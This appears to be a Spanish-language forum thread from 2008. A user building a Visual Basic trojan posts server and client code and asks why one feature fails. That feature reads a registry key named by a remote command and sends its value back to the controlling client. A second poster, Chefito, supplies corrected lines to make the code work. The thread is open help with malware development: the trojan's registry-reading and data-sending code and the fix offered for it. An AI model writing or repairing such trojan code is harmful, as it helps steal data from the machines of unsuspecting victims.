ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox aki va el code
----------en el server-------------
If Left(datos, 2) = "hk" Then
Dim ind As Object
Set ind = CreateObject("WScript.Shell")
Dim tmp As String
tmp = wsh.RegRead datos
ws.SendData "2020" & tmp
End If
.-----en el cliente-------
if left(datos , 4 ) ="2020" then
datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería
gracias de antemano ;)
Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente :P. Puede que el error esté en estas lineas?
tmp = ind.RegRead datos
ws.SendData "2020" & tmp & vbcrlf
Cita de: Chefito en 13 Febrero 2008, 16:03 PM
Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente :P. Puede que el error esté en estas lineas?
tmp = ind.RegRead datos
ws.SendData "2020" & tmp & vbcrlf
no me muestra error solo se cierra
Pero probastes las lineas modificadas que te dejé?
Cita de: Chefito en 13 Febrero 2008, 16:41 PM
Pero probastes las lineas modificadas que te dejé?
si